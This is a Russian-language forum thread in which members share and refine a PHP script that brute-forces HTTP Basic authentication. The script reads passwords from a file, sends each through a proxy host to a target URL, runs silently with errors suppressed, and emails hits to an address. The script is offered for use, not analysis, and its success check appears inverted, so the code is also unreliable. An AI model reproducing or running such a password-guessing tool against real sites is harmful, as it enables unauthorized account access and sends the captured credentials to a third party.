Ну типа зарисовочка, please report bugs. PHP: <? set_time_limit(0); ignore_user_abort(1); error_reporting(0); $open_host="$host"; $open_port="80"; $main_url2="$targethost"; $refer2="$host"; $file = "p.txt"; if( @$host && @$targethost){ $fp = @fopen($file,"r"); if(!$fp) { die("Cannot open file"); } else { while($pas = @fgets($fp,1024)){ $sock = fsockopen($open_host, $open_port, $errno, $errstr, 10); fputs($sock, "GET ".$main_url2." HTTP/1.0\r\n"); fputs($sock, "Accept: */*\r\n"); fputs($sock, "Accept-Language: en\r\n"); fputs($sock, "Pragma: no-cache\r\n"); fputs($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"); fputs($sock, "Host: ".$host."\r\n"); fputs($sock, "Proxy-Connection: Keep-Alive\r\n"); fputs($sock, "Referer: ".$refer2."\r\n"); fputs($sock, "Authorization: Basic ".base64_encode("$pas")."\r\n"); fputs($sock, "\r\n"); $u=fread($sock, 100); for($x=0;$x < 900;$x++){ $headers = fgets ($sock, 4096); @$a=$a.$headers;} fclose($sock); @$good=eregi("(Authorization Required)", $a); $a="0"; if(@$good){ mail("[email protected]", "http good ($targethost)", "$pas@$targethost\r\n", "from: [email protected]\n"); }else{ fsockopen($open_host, $open_port, $errno, $errstr, 10); } } } } else { print ("<h4>http</h4> <form method=post action=".$PHP_SELF."> <BR>host<input type=text name=host> <BR>targethost<input type=text name=targethost> <input type=submit value='Go'> </form>"); } ?>
Ну вот, а спрашивал. Только зачем такая куча @ ? И вообще, вот такая фигня PHP: if( @$host && @$targethost){ мне лично не нравится. Во-первых, давно я уже не видел апчей. которые выводят настолько подробные сообщения о ошибках (в последнее время модно стало вообще не выводить ошибки). Во-вторых, ну неужели влом написать isset($host) или хотябы $host!="". Это правильнее. Мое мнение =) Каждый пишет по своему. И eregi, насколько я помню, по скорости проигрывает preg_match(). Вот. Ну и к коду я еще долго могу предираться.
Чуть подправил. PHP: <? set_time_limit(0); ignore_user_abort(1); error_reporting(0); $open_host="$host"; $open_port="80"; $main_url2="$targethost"; $refer2="$host"; $file = "p.txt"; if(isset($host , $targethost)){ $fp = @fopen($file,"r"); if(!$fp) { die("Cannot open file"); } else { while($pas = @fgets($fp,1024)){ $sock = fsockopen($open_host, $open_port, $errno, $errstr, 10); fputs($sock, "GET ".$main_url2." HTTP/1.0\r\n"); fputs($sock, "Accept: */*\r\n"); fputs($sock, "Accept-Language: en\r\n"); fputs($sock, "Pragma: no-cache\r\n"); fputs($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"); fputs($sock, "Host: ".$host."\r\n"); fputs($sock, "Proxy-Connection: Keep-Alive\r\n"); fputs($sock, "Referer: ".$refer2."\r\n"); fputs($sock, "Authorization: Basic ".base64_encode("$pas")."\r\n"); fputs($sock, "\r\n"); $u=fread($sock, 100); for($x=0;$x < 900;$x++){ $headers = fgets ($sock, 4096); @$a=$a.$headers;} fclose($sock); @$good=eregi("(401)", $a); $a="0"; if(@$good){ mail("[email protected]", "http good ($targethost)", "$pas@$targethost\r\n", "from: [email protected]\n"); }else{ fsockopen($open_host, $open_port, $errno, $errstr, 10); } } } } else { print ("<h4>http</h4> <form method=post action=".$PHP_SELF."> <BR>host<input type=text name=host> <BR>targethost<input type=text name=targethost> <input type=submit value='Go'> </form>"); } ?>